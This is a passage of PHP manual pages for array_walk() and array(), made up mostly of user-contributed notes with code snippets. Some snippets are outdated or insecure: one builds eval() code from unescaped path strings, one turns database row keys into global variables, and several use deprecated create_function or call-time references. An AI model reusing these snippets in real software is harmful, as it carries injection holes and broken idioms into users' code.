    if ($val == 'bar') {
        unset($array[$key]);
    }
});

var_dump($array);
alex_stanhope at hotmail dot com 26-Oct-2011 10:16
I wanted to walk an array and reverse map it into a second array.  I decided to use array_walk because it should be faster than a reset,next loop or foreach(x as &$y) loop.

<?php
$output = array();
array_walk($input, 'gmapmark_reverse', $output);

function gmapmark_reverse(&$item, $index, &$target) {
    $target[$item['form_key']] = $index;
}
?>

In my debugger I can see that $target is progressively updated, but when array_walk returns, $output is empty.  If however I use a (deprecated) call-by-reference:

<?php
array_walk($input, 'gmapmark_reverse', &$output);
?>

$output is returned correctly.  Unfortunately there's not an easy way to suppress the warnings:

<?php
@array_walk($input, 'gmapmark_reverse', &$output);
?>

doesn't silence them.  I've designed a workaround using a static array:

<?php
$reverse = array();
array_walk($input, 'gmapmark_reverse');
// call function one last time to get target array out, because parameters don't work
$reverse = gmapmark_reverse($reverse);

function gmapmark_reverse(&$item, $index = 0) {
  static $target;
  if (!$target) {
    $target = array();
  }
  if (isset($item['form_key'])) {
    $target[$item['form_key']] = $index;
  }
  return($target);
}
?>
tufanbarisyildirim at gmail dot com 05-Oct-2011 03:15
Filter an array by using key.

<?php
    $product_1 = 'test';
    $product_2 = 'test 2';

    function array_key_filter($array,$callback = 'trim')
    {
        $filtered = array();
        array_walk($array,function ($degeri,$degisken_adi) use (&$filtered,$callback)
        {
            if($callback($degisken_adi))
            {
                $filtered[$degisken_adi] =  $degeri;
            }
        });

        return $filtered;
    }

    #using

    $degiskenler = array_key_filter(get_defined_vars(),function($key)
    {
        return strpos($key,'product_') === 0;
    });

    print_r($degiskenler);
?>
output:

Array
(
    [product_1] => test
    [product_2] => test 2
)
Maxim 11-Jul-2011 09:23
Note that using array_walk with intval is inappropriate.
There are many examples on internet that suggest to use following code to safely escape $_POST arrays of integers:
<?php
array_walk($_POST['something'],'intval'); // does nothing in PHP 5.3.3
?>
It works in _some_ older PHP versions (5.2), but is against specifications. Since intval() does not modify it's arguments, but returns modified result, the code above has no effect on the array and will leave security hole in your website.

You can use following instead:
<?php
$_POST['something'] = array_map(intval,$_POST['something']);
?>
@jfredys 23-Mar-2011 02:07
I was looking for trimming all the elements in an array, I found this as the simplest solution:

<?php
array_walk($ids, create_function('&$val', '$val = trim($val);'));
?>
http://alex.moutonking.com/wordpress 16-Feb-2011 07:49
For completeness one has to mention the possibility of using this function with PHP 5.3 closures:

<?php
$names = array("D\'Artagnan", "Aramis", "Portos");
array_walk($names, function(&$n) {
  $n = stripslashes($n);
});
?>

The trap with array_walk being it doesn't return the array, instead it's modified by reference.
op_adept at yahoo dot co dot uk 02-Dec-2010 12:20
Prefix array values with keys and retrieve as a glued string, the original array remains unchanged. I used this to create some SQL queries from arrays.

<?php

function array_implode_prefix($outer_glue, $arr, $inner_glue, $prefix=false){
    array_walk( $arr , "prefix", array($inner_glue, $prefix) );
    return implode($outer_glue, $arr);
}

function prefix(&$value, $key, array $additional){
    $inner_glue = $additional[0];
    $prefix = isset($additional[1])? $additional[1] : false;
    if($prefix === false) $prefix = $key;

    $value = $prefix.$inner_glue.$value;
}

//Example 1:
$order_by = array("3"=>"ASC", "2"=>"DESC", "7"=>"ASC");
echo array_implode_prefix(",", $order_by, " ");
//Output: 3 ASC,2 DESC,7 ASC

//Example 2:
$columns = array("product_id", "category_id", "name", "description");
$table = "product";

echo array_implode_prefix(", ", $columns, ".", $table);
//Output:product.product_id, product.category_id, product.name, product.description

//Example 3 (function prefix) won't really be used on its own
$pre= "vacation";
$value = "lalaland";
prefix($value, $pre, array("."));
echo $value;

//Output: vacation.lalaland

?>
matthew at codenaked dot org 02-Sep-2010 08:24
Using lambdas you can create a handy zip function to zip together the keys and values of an array. I extended it to allow you to pass in the "glue" string as the optional userdata parameter. The following example is used to zip an array of email headers:

<?php

/**
 * Zip together the keys and values of an array using the provided glue
 *
 * The values of the array are replaced with the new computed value
 *
 * @param array $data
 * @param string $glue
 */
function zip(&$data, $glue=': ')
{
    if(!is_array($data)) {
        throw new InvalidArgumentException('First parameter must be an array');
    }

    array_walk($data, function(&$value, $key, $joinUsing) {
        $value = $key . $joinUsing . $value;
    }, $glue);
}

$myName = 'Matthew Purdon';
$myEmail = 'matthew@example.com';
$from = "$myName <$myEmail>";

$headers['From'] = $from;
$headers['Reply-To'] = $from;
$headers['Return-path'] = "<$myEmail>";
$headers['X-Mailer'] = "PHP" . phpversion() . "";
$headers['Content-Type'] = 'text/plain; charset="UTF-8"';

zip($headers);

$headers = implode("\n", $headers);
$headers .= "\n";

echo $headers;

/*
From: Matthew Purdon <matthew@example.com>
Reply-To: Matthew Purdon <matthew@example.com>
Return-path: <matthew@example.com>
X-Mailer: PHP5.3.2
Content-Type: text/plain; charset="UTF-8"
*/
?>
arekandrei at yandex dot ru 03-Jan-2010 04:30
You can use lambda function as a second parameter:

<?php
array_walk($myArray, function(&$value, $key){
    // if you want to change array values then "&" before the $value is mandatory.
});
?>

Example (multiply positive values by two):

<?php
$myArray = array(1, 2, 3, 4, 5);

array_walk($myArray, function(&$value, $index){
    if ($value > 0) $value *= 2;
});
?>
rustamabd at gmail dot com 13-Dec-2009 03:32
Don't forget about the array_map() function, it may be easier to use!

Here's how to lower-case all elements in an array:

<?php
    $arr = array_map('strtolower', $arr);
?>
erelsgl at gmail dot com 04-Mar-2009 12:40
If you want to unset elements from the callback function, maybe what you really need is array_filter.
jab_creations_-at_-yahoo_-dot-_com 27-Nov-2008 01:08
Unfortunately I spent a lot of time trying to permanently apply the effects of a function to an array using the array_walk function when instead array_map was what I wanted. Here is a very simple though effective example for those who may be getting overly frustrated with this function...

<?php
$fruits = array("Lemony & Fresh","Orange Twist","Apple Juice");

print_r($fruits);
echo '<br />';

function name_base($key)
{
 $name2 = str_replace(" ", "_", $key);
 $name3 = str_replace("&", "and", $name2);
 $name4 = strtolower($name3);
 echo $name4.'<br />';
 return $name4;
}
echo '<br />';

$test = array_map('name_base', $fruits);
$fruits_fixed = $test;
echo '<br />';
print_r($fruits_fixed);
?>
peterzuzek AT gmail DOT com 16-Nov-2008 06:04
I had some problems using this function - it didn't want to apply PHP-defined functions. So I decided to write my own - here it is. I had to use some generic-programming skills, didn't really checked the speed (I think it could be slow)... I believe it could be much better, but I don't know, how - well, I guess multiple array support and recursion would be nice. So?

Prototype:
bool arrayWalk(array &$arry, callback $callback, mixed $params=false)

<?php

    function arrayWalk(&$arry, $callback, $params=false) {
        $P=array(""); // parameters
        $a=""; // arguement string :)

        if($params !== false) { // add parameters
            if(is_array($params)) { // multiple additional parameters
                foreach($params as $par)
                    { $P[]=$par; }
            }
            else // just one additional
                { $P[]=$params; }
        }

        for( // create the arguement string
            $i=0; isset($P[$i]); ++$i
        )
            { $a.='$'.chr($i + 97).', '; } // random argument names

        $a=substr($a, 0, -2); // to get rid of the last comma and two spaces

        $func=create_function($a, 'return '.$callback.'('.$a.');'); // the generic function

        if(is_callable($func)) {
            for( // cycle through array
                $i=0; isset($arry[$i]); ++$i
            ) {
                $P[0]=$arry[$i]; // first element must be the first argument - array value
                $arry[$i] = call_user_func_array($func, $P); // assign the new value obtained by the generic function
            }
        }
        else
            { return false; } // failure - function not callable

        return true; // success!
    } // arrayWalk()

?>

One big problem I've noticed so far - for example, if you wanted to use str_replace on the array, you'd fail - simply because of the arguement order of str_replace, where the string modified is the third arguement, not the first as arrayWalk requires.

So, still some work left...
diyism 31-Oct-2008 08:18
When i pass the third parameter by reference in php5.2.5,
happened this: Warning: Call-time pass-by-reference has been deprecated - argument passed by value...

And to set allow_call_time_pass_reference to true in php.ini won't work, according to http://bugs.php.net/bug.php?id=19699   thus to work around:

<?php
array_walk($arrChnOut, create_function('&$v, $k, $arr_rtn', 'if ($k{0}!="_") {$arr_rtn[0]["_".$v[\'ID\']]=$v; unset($arr_rtn[0][$k]);}'), array(&$arrChnOut));
?>
mike >> mike AT debitage.com 06-Mar-2008 09:01
<?php
   /**
    *    class.ArrayTool.php lets you search an array based on key => value pairs
    *
    *   @version 1.0
    *   @ 1-11-2008
    *   @author Mike Volmar
    *
    *    Object for converting between array key and value
    *
    */

class ArrayTool {

    var $mydata = array();
    var $flag = 0;
    var $results;

    function ArrayTool(){

    }

    function tellAll(){
        print_r($this->mydata);
    }

    function setArray($data){
        $this->mydata = $data;
    }

    function getKey($input){
        foreach($this->mydata as $key => $value){
            if(($this->flag == 0)&&($input == $value)){
                $this->results = $key;
                $this->flag = 1;
            }
        }
        $this->flag = 0;
        return $this->results;
    }

    function getValue($input){
        foreach($this->mydata as $key => $value){
            if(($this->flag == 0)&&($input == $key)){
                $this->results = $value;
                $this->flag = 1;
            }
        }
        $this->flag = 0;
        return $this->results;
    }

}

?>
jerk at yoosic dot de 21-Dec-2006 05:05
if you want to modify every value of an multidimensional array use this function used here:

<?php

$array = array (1=>1, 2=> 2, 3 => array(1=>11, 2=>12, 3=>13));
$text = "test";

function modarr(&$array, $text) {
        foreach ($array as $key => $arr) {
                if(is_array($arr)) $res[$key] = modarr(&$arr,$text);
                // modification function here
                else $res[$key] = $arr.$text;
                }
        return $res;
}

$erg = modarr($array, $text);

print_r($erg);

?>

result will be_

<?php
Array ( [1] => 1test [2] => 2test [3] => Array ( [1] => 11test [2] => 12test [3] => 13test ) )
?>
nihaopaul at nihaopaul dot com 06-May-2006 12:59
no sure if this should go under array-walk but it does what i need, it searches a multidimensionial array by using an array to walk it, it either returns a value or an array.

<?php
function walker($walk, $array) {
    if (count($walk) >0) {
        foreach($array as $key => $value) {
            if ($key == $walk[0]) {
                if (is_array($value)) {
                    unset($walk[0]);
                    return walker(array_values($walk), $value);
                } else {
                    if (isset($value)) {
                        if (count($walk) == 1) {
                            return $value;
                        } else {
                            return 0;
                        }
                    } else {
                        return 0;
                    }
                }
            }
        }
        return 0;
    } else {
        return $array;
    }
}
?>
ludvig dot ericson at gmail dot com 21-Nov-2005 03:09
In response to 'ibolmo', this is an extended version of string_walk, allowing to pass userdata (like array_walk) and to have the function edit the string in the same manner as array_walk allows, note now though that you have to pass a variable, since PHP cannot pass string literals by reference (logically).

<?php
function string_walk(&$string, $funcname, $userdata = null) {
    for($i = 0; $i < strlen($string); $i++) {
        # NOTE: PHP's dereference sucks, we have to do this.
        $hack = $string{$i};
        call_user_func($funcname, &$hack, $i, $userdata);
        $string{$i} = $hack;
    }
}

function yourFunc($value, $position) {
    echo $value . ' ';
}

function yourOtherFunc(&$value, $position) {
    $value = str_rot13($value);
}

# NOTE: We now need this ugly $x = hack.
string_walk($x = 'interesting', 'yourFunc');
// Ouput: i n t e r e s t i n g

string_walk($x = 'interesting', 'yourOtherFunc');
echo $x;
// Output: vagrerfgvat
?>

Also note that calling str_rot13() directly on $x would be much faster ;-) just a sample.
ibolmo 18-Nov-2005 04:53
If anyone is interested to implement the array_walk functionality to a string. I've made this handy function. Note that this can be easily extended for any type of purpose. I've used this to convert from a string of bytes to a hex string then back from hex to a byte string.
<?php
function string_walk($string,$funcname)
{
    for($i=0;$i<strlen($string);$i++) {
        call_user_func($funcname,$string{$i});
    }
}

function yourFunc($val)
{
    echo $val.' ';
}

string_walk('interesting','yourFunc');
//ouput: i n t e r e s t i n g
?>
Andrzej Martynowicz at gmail dot com 19-Sep-2005 03:03
It can be very useful to pass the third (optional) parameter by reference while modifying it permanently in callback function. This will cause passing modified parameter to next iteration of array_walk(). The exaple below enumerates items in the array:

<?php
function enumerate( &$item1, $key, &$startNum ) {
   $item1 = $startNum++ ." $item1";
}

$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', $num );

print_r( $fruits );

echo '$num is: '. $num ."\n";
?>

This outputs:

Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 1

Notice at the last line of output that outside of array_walk() the $num parameter has initial value of 1. This is because array_walk() does not take the third parameter by reference.. so what if we pass the reference as the optional parameter..

<?php
$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', &$num ); // reference here

print_r( $fruits );

echo '$num is: '. $num ."\n";
echo "we've got ". ($num - 1) ." fruits in the basket!";
?>

This outputs:
Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 5
we've got 4 fruits in the basket!

Now $num has changed so we are able to count the items (without calling count() unnecessarily).

As a conclusion, using references with array_walk() can be powerful toy but this should be done carefully since modifying third parameter outside the array_walk() is not always what we want.
el_porno at web dot de 27-May-2005 12:03
You want to get rid of the whitespaces users add in your form fields...?
Simply use...:

class SomeVeryImportantClass
{
...
    public function mungeFormData(&$data)
    {
        array_walk($data, array($this, 'munge'));
    }

    private function munge(&$value, &$key)
    {
        if(is_array($value))
        {
            $this->mungeFormData($value);
        }
        else
        {
            $value = trim($value);
        }
    }
...
}

so...
$obj = new SomeVeryImportantClass;
$obj->mungeFormData($_POST);
___
eNc
Enlightened One 08-Apr-2005 08:17
Beware that "array ($this, method)" construct. If you're wanting to alter members of the "$this" object inside "method" you should construct the callback like this:

  $callback[] = &$this;
  $callback[] = method;
  array_walk ($input, $callback);

Creating your callback using the array() method as suggested by "appletalk" results in a copy of $this being passed to method, not the original object, therefor any changes made to the object by method will be lost when array_walk() returns. While you could construct the callback with "array(&$this, method)", I believe this relies on the deprecated runtime pass-by-reference mechanism which may be removed in future releases of PHP. Better to not create a dependence on that feature now than having to track it down and fix it in the future.
05-Nov-2004 08:22
If array_walk_recursive() is not present and you want to apply htmlentities() on each array element you can use this:

<?php
function array_htmlentities(&$elem)
{
  if (!is_array($elem))
  {
    $elem=htmlentities($elem);
  }
  else
  {
    foreach ($elem as $key=>$value)
      $elem[$key]=array_htmlentities($value);
  }
  return $elem;
} // array_htmlentities()
?>

If you want to output an array with print_r() and you have html in it this function is very helpful.
bisqwit at iki dot fi 04-Sep-2004 01:54
It's worth nothing that array_walk can not be used to change keys in the array.
The function may be defined as (&$value, $key) but not (&$value, &$key).
Even though PHP does not complain/warn, it does not modify the key.


Create an array

  • « array_walk
  • arsort »
  • PHP Manual
  • Array Functions
  • Create an array

array

(PHP 4, PHP 5)

array — Create an array

Description

array array ([ mixed $... ] )

Creates an array. Read the section on the array type for more information on what an array is.

Parameters

...

Syntax "index => values", separated by commas, define index and values. index may be of type string or integer. When index is omitted, an integer index is automatically generated, starting at 0. If index is an integer, next generated index will be the biggest integer index + 1. Note that when two identical index are defined, the last overwrite the first.

Having a trailing comma after the last defined array entry, while unusual, is a valid syntax.

Return Values

Returns an array of the parameters. The parameters can be given an index with the => operator. Read the section on the array type for more information on what an array is.

Examples

The following example demonstrates how to create a two-dimensional array, how to specify keys for associative arrays, and how to skip-and-continue numeric indices in normal arrays.

Example #1 array() example

<?php
$fruits = array (
    "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
    "numbers" => array(1, 2, 3, 4, 5, 6),
    "holes"   => array("first", 5 => "second", "third")
);
?>

Example #2 Automatic index with array()

<?php
$array = array(1, 1, 1, 1,  1, 8 => 1,  4 => 1, 19, 3 => 13);
print_r($array);
?>

The above example will output:

Array
(
    [0] => 1
    [1] => 1
    [2] => 1
    [3] => 13
    [4] => 1
    [8] => 1
    [9] => 19
)

Note that index '3' is defined twice, and keep its final value of 13. Index 4 is defined after index 8, and next generated index (value 19) is 9, since biggest index was 8.

This example creates a 1-based array.

Example #3 1-based index with array()

<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

The above example will output:

Array
(
    [1] => January
    [2] => February
    [3] => March
)

As in Perl, you can access a value from the array inside double quotes. However, with PHP you'll need to enclose your array between curly braces.

Example #4 Accessing an array inside double quotes

<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>

Notes

Note:

array() is a language construct used to represent literal arrays, and not a regular function.

See Also

  • array_pad() - Pad array to the specified length with a value
  • list() - Assign variables as if they were an array
  • count() - Count all elements in an array, or something in an object
  • range() - Create an array containing a range of elements
  • foreach
  • The array type

User Contributed Notes

ole dot aanensen at gmail dot com 10-Jun-2014 05:13
As of PHP 5.4.x you can now use 'short syntax arrays' which eliminates the need of this function.

Example #1 'short syntax array'
<?php
    $a = [1, 2, 3, 4];
    print_r($a);
?>

The above example will output:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

Example #2 'short syntax associative array'
<?php
    $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4];
    print_r($a);
?>

The above example will output:
Array
(
    [one] => 1
    [two] => 2
    [three] => 3
    [four] => 4
)
sergei dot solomonov at gmail dot com 02-Oct-2013 05:53
Consider:
file inc1.php
-------------
<?php
return 'key';

file inc2.php
-------------
<?php
return 'value';

Test:
<?php
$a = [
    include 'inc1.php' => include 'inc2.php'
];
var_dump($a);

/* It works!!!
array(1) {
  'key' =>
  string(5) "value"
}
*/
qeremy 07-Mar-2012 11:50
Some tricky functions;

<?php
function is_array_assoc($arr) {
    if (is_array($arr)) {
        foreach ($arr as $k => $v) {
            if (is_string($k) || (is_int($k) && $k < 0)) {
                return 1;
            }
        }
        return 0;
    }
    return -1;
}

function is_array_multi($arr) {
    return is_array($arr)
        ? (count($arr) != count($arr, COUNT_RECURSIVE) ? 1 : 0)
        : -1;
}

$arr[] = array("foo", "bar", 1.09);
$arr[] = array("red", "yellow", 1 => "foo");
$arr[] = array("red", "yellow", -1 => "foo");
$arr[] = array("x" => array("red", "yellow"), "y" => array("one", "two"));
$arr[] = array();
$arr[] = "s";

foreach ($arr as $a) {
    echo is_array_assoc($a) ."\n";
}
echo "\n";
foreach ($arr as $a) {
    echo is_array_multi($a) ."\n";
}
?>

0
0
1
1
0
-1

0
0
0
1
0
-1

<?php
function array_count($arr) {
    $r = 0;
    foreach ($arr as $k => $v) {
        if (is_array($v)) {
            $r++;
        }
    }
    return $r;
}

function array_count_all($arr, $r = 0) {
    foreach ($arr as $k => $v) {
        if (is_array($v)) {
            $r = array_count_all($v, $r);
            $r++;
        }
    }
    return $r;
}

$a = array("foo", "bar", 1.09, array(1,2,3), array("a" => "aaa"));
echo array_count($a); // 2

$a = array(
    "foo", "bar", 1.09,
    "x" => array(1,2,3),
    array("a" => "aaa", "b" => array(), "c" => array(""), "d" => array("")),
    "e" => array(""),
    "z" => array(""),
    "q" => array("", array()),
    "w" => array("lorem", 1 => "impsum", 18, "dolor", array("last as 11th array"))
);
echo array_count_all($a); // 11
?>
r0h4rd at gmail dot com 06-Feb-2011 11:59
"Quick and dirty" class to get an offset of multidimensional array by given path (sorry, that without comments).

<?php

    class ArrayAsPathException extends Exception {}

    class ArrayAsPath {
        protected
            $data = array(),
            $separator = '.';

        public function __construct (array $data = array()) {
            $this->data = $data;
        }

        public function set ($value, $path = null) {
            if (!isset($path)) {
                $this->data = $value;
            }

            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            $code = '';
            $pices = '[\''.$pathtoken.'\']';
            while ($pathtoken !== false) {
                if (($pathtoken = strtok($separator)) !== false) {
                    $code .= 'if (!isset($this->data'.$pices.')) $this->data'.$pices.' = array(); ';
                    $pices .= '[\''.$pathtoken.'\']';
                } else {
                    $code .= 'return $this->data'.$pices.' = $value;';
                }
            }

            return eval($code);
        }

        public function get ($path = '', $default = null) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    if (isset($default)) {
                        return $default;
                    }

                    throw new ArrayAsPathException ('Can\'t find "'.$pathtoken.'" in "'.$path.'"');
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return $result ? $result : $default;
        }

        public function has ($path) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    return false;
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return true;
        }

        public function setSepatator ($separator) {
            $this->separator = $separator;
        }

        public function getSeparator ($separator) {
            return $this->separator;
        }
    }

?>

Code:
<?php

    $params = new ArrayAsPath;
    $params->set(array(
        'foo' => array(
            'bar' => array(
                'item' => 'Value'
            )
        )
    ));

    try {
        $params->set('test', 'foo.bar.far.new');
        printf(
            'Array:<pre>%s</pre>
            foo.bar.item:<pre>%s</pre>
            foo.bar.far:<pre>%s</pre>
            foo.bar.far.new<pre>%s</pre>',
            var_export($params->get(), true),
            var_export($params->get('foo.bar.item'), true),
            var_export($params->get('foo.bar.far'), true),
            var_export($params->get('foo.bar.far.new'), true)
        );
    } catch (ArrayAsPathException $e) {
        echo 'Oops! It seems that something is wrong. '.$e->getMessage();
    }

?>

Will display:
Array:
array (
  'foo' =>
  array (
    'bar' =>
    array (
      'item' => 'Value',
      'far' =>
      array (
        'new' => 'test',
      ),
    ),
  ),
)

foo.bar.item:
'Value'

foo.bar.far:
array (
  'new' => 'test',
)

foo.bar.far.new:
'test'
eugene at ultimatecms dot co dot za 03-Mar-2010 03:29
This is a useful way to get foreign key variables from a specific sql table.
This function can be used to include all relevant data from all relating tables:

<?php
function get_string_between($string, $start, $end){
         $string = " ".$string;
         $ini = strpos($string,$start);
         if($ini == 0)
                return $tbl;
         $ini += strlen($start);
         $len = strpos($string,$end,$ini) - $ini;
         return substr($string,$ini,$len);
}

function get_foreign_keys($tbl) {
        $query = query_getrow("SHOW CREATE TABLE ".mysql_escape_string($tbl));

        $dat = explode('CONSTRAINT',$query[1]);
        foreach($dat as $d => $a) {
                if(strpos($a,"FOREIGN KEY"))
                $data['keys'][] = array($tbl,get_string_between($a,"` FOREIGN KEY (`","`) REFERENCES"));
        }

        foreach($dat as $d => $a) {
                if(strpos($a,"REFERENCE"))
                $data['references'][] = explode('` (`',get_string_between($a,"REFERENCES `","`) ON"));
        }
        return $data;
}

//Example code:

        $data = get_foreign_keys('task_table');
        echo '<pre>';
        print_r($data);
        echo '</pre>';

?>

// $query[1] outputs:

CREATE TABLE `task_table` (
  `task_id` int(64) NOT NULL auto_increment,
  `ticket_id` int(64) NOT NULL,
  `task_type` varchar(64) NOT NULL,
  `comment` text,
  `assigned_to` int(11) default NULL,
  `dependant` int(64) default NULL,
  `resolved` int(1) default NULL,
  PRIMARY KEY  (`task_id`),
  KEY `ticket_id` (`ticket_id`,`dependant`),
  KEY `assigned_to` (`assigned_to`),
  KEY `task_dependant` (`dependant`),
  CONSTRAINT `task_table_ibfk_1` FOREIGN KEY (`ticket_id`) REFERENCES `tickets_table` (`ticket_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_2` FOREIGN KEY (`assigned_to`) REFERENCES `contact_table` (`contact_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_3` FOREIGN KEY (`dependant`) REFERENCES `task_table` (`task_id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=latin1

// $data outputs:
Array (
    [keys] => Array
        (
            [0] => Array
                (
                    [0] => task_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => task_table
                    [1] => assigned_to
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => dependant
                )
        )

    [references] => Array
        (
            [0] => Array
                (
                    [0] => tickets_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => contact_table
                    [1] => contact_id
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => task_id
                )
        )
)
kamil at navikam dot pl 03-Jun-2009 12:42
Easy function to unarray an array :-)
It will make $array['something'] => $something.
Usefull for making code more clear.

example of use:
<?
function unarray($row) {
    foreach($row as $key => $value) {
        global $$key;
        $$key = $value;
    }
}

$sql = mysql_query("SELECT * FROM `pracownicy`");
while ($row = mysql_fetch_assoc($sql)) {
    unarray($row);
    echo $idpracownika.'<br>'; //instead of $row['idpracownika']
}
?>
Marcel G 28-Apr-2009 12:49
I encountered the following but didn't see it documented/reported anywhere so I'll just mentioned it here.

As written in the manual:
"When index is omitted, an integer index is automatically generated, starting at 0. If index is an integer, next generated index will be the biggest integer index + 1".

This generated index has always the largest integer used as a key so far. So adding $a[5] = 'foo'; after an $a[10] = 'bar'; will not force the next generated index to be 6 but to be 11 as 10 was the highest index encountered until here.

Anyway, the following can happen:
<?php
$max_int = 2147483647; // Max value for integer on a 32-bit system
$arr = array();

$arr[1] = 'foo'; // New generated index will be 2
$arr[ $max_int ] = 'bar'; // Caution: Next generated index will be -2147483648 due to the integer overflow!
$arr[0] = 'bar'; // The highest value should be 2147483648 but due to the i-overflow it is -2147483648 so current index 0 is larger. The new generated index therefore is 1!
$arr[]  = 'failure'; // Warning: Cannot add element to the array as the next element is already occupied.
?>
alwynlobo at gmail dot com 03-Mar-2009 08:03
Here's an example on how to create a multi-dimensional array...(without using ArrayObject)

<?php
$characters = array(array(array(
                array ( name=>"name 1",
                        occupation=>"Developer",
                        age=>30,
                        specialty=>"Java" ),
                array ( name=>"name 2",
                        occupation=>"Programmer",
                        age=>24,
                        specialty=>"C++" ),
                array ( name=>"name 3",
                        occupation=>"Designer",
                        age=>63,
                        specialty=>"Javascript" )))
);

print $characters[0][0][2][occupation];
?>
jonberglund at gmail dot com 07-Jul-2008 06:25
The following function (similar to one above) will render an array as a series of HTML select options (i.e. "<option>...</option>"). The problem with the one before is that there was no way to handle <optgroup>, so this function solves that issue.

function arrayToSelect($option, $selected = '', $optgroup = NULL)
{
    $returnStatement = '';

    if ($selected == '') {
        $returnStatement .= '<option value="" selected="selected">Select one...</option>';
    }

    if (isset($optgroup)) {
        foreach ($optgroup as $optgroupKey => $optgroupValue) {
            $returnStatement .= '<optgroup label="' . $optgroupValue . '">';

            foreach ($option[$optgroupKey] as $optionKey => $optionValue) {
                if ($optionKey == $selected) {
                    $returnStatement .= '<option selected="selected" value="' . $optionKey . '">' . $optionValue . '</option>';
                } else {
                    $returnStatement .= '<option value="' . $optionKey . '">' . $optionValue . '</option>';
                }
            }

            $returnStatement .= '</optgroup>';
        }
    } else {
        foreach ($option as $key => $value) {
            if ($key == $selected) {
                $returnStatement .= '<option selected="selected" value="' . $key . '">' . $value . '</option>';
            } else {
                $returnStatement .= '<option value="' . $key . '">' . $value . '</option>';
            }
        }
    }

    return $returnStatement;
}

 So, for example, I needed to render a list of states/provinces for various countries in a select field, and I wanted to use each country name as an <optgroup> label. So, with this function, if only a single array is passed to the function (i.e. "arrayToSelect($stateList)") then it will simply spit out a bunch of "<option>" elements. On the other hand, if two arrays are passed to it, the second array becomes a "key" for translating the first array.

Here's a further example:

$countryList = array(
    'CA'        => 'Canada',
    'US'        => 'United States');

$stateList['CA'] = array(
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'MB'        => 'Manitoba',
    'NB'        => 'New Brunswick',
    'NL'        => 'Newfoundland/Labrador',
    'NS'        => 'Nova Scotia',
    'NT'        => 'Northwest Territories',
    'NU'        => 'Nunavut',
    'ON'        => 'Ontario',
    'PE'        => 'Prince Edward Island',
    'QC'        => 'Quebec',
    'SK'        => 'Saskatchewan',
    'YT'        => 'Yukon');

$stateList['US'] = array(
    'AL'        => 'Alabama',
    'AK'        => 'Alaska',
    'AZ'        => 'Arizona',
    'AR'        => 'Arkansas',
    'CA'        => 'California',
    'CO'        => 'Colorado',
    'CT'        => 'Connecticut',
    'DE'        => 'Delaware',
    'DC'        => 'District of Columbia',
    'FL'        => 'Florida',
    'GA'        => 'Georgia',
    'HI'        => 'Hawaii',
    'ID'        => 'Idaho',
    'IL'        => 'Illinois',
    'IN'        => 'Indiana',
    'IA'        => 'Iowa',
    'KS'        => 'Kansas',
    'KY'        => 'Kentucky',
    'LA'        => 'Louisiana',
    'ME'        => 'Maine',
    'MD'        => 'Maryland',
    'MA'        => 'Massachusetts',
    'MI'        => 'Michigan',
    'MN'        => 'Minnesota',
    'MS'        => 'Mississippi',
    'MO'        => 'Missouri',
    'MT'        => 'Montana',
    'NE'        => 'Nebraska',
    'NV'        => 'Nevada',
    'NH'        => 'New Hampshire',
    'NJ'        => 'New Jersey',
    'NM'        => 'New Mexico',
    'NY'        => 'New York',
    'NC'        => 'North Carolina',
    'ND'        => 'North Dakota',
    'OH'        => 'Ohio',
    'OK'        => 'Oklahoma',
    'OR'        => 'Oregon',
    'PA'        => 'Pennsylvania',
    'RI'        => 'Rhode Island',
    'SC'        => 'South Carolina',
    'SD'        => 'South Dakota',
    'TN'        => 'Tennessee',
    'TX'        => 'Texas',
    'UT'        => 'Utah',
    'VT'        => 'Vermont',
    'VA'        => 'Virginia',
    'WA'        => 'Washington',
    'WV'        => 'West Virginia',
    'WI'        => 'Wisconsin',
    'WY'        => 'Wyoming');

...

<select name="state" id="state"><?php echo arrayToSelect($stateList,'',$countryList) ?></select>
<select name="country" id="country"><?php echo arrayToSelect($countryList,'US') ?></select>
sebasg37 at gmail dot com 12-Feb-2008 08:32
Recursive function similar to print_r for describing anidated arrays in html <ol>. Maybe it's useful for someone.

<?php
function describeAnidatedArray($array)
{
    $buf = '';
    foreach($array as $key => $value)
    {
        if(is_array($value))
        {
            $buf .= '<ol>' . describeAnidatedArray($value) . '</ol>';
        }
        else
            $buf .= "<li>$value</li>";
    }
    return $buf;
}

// Example:
$array = array("a", "b", "c", array("1", "2", array("A", "B")), array("3", "4"), "d");

echo describeAnidatedArray($array);
?>

output:

# a
# b
# c

   1. 1
   2. 2
         1. A
         2. B

   1. 3
   2. 4

# d
jon hohle 16-Nov-2007 02:12
Here are shorter versions of sam barrow's functions. From a PHP perspective these are O(1) (without getting into what's going on in the interpreter), instead of O(n).

<?php
function randomKey(array $array)
{
    return randomElement(array_keys($array));
}

function randomElement(array $array)
{
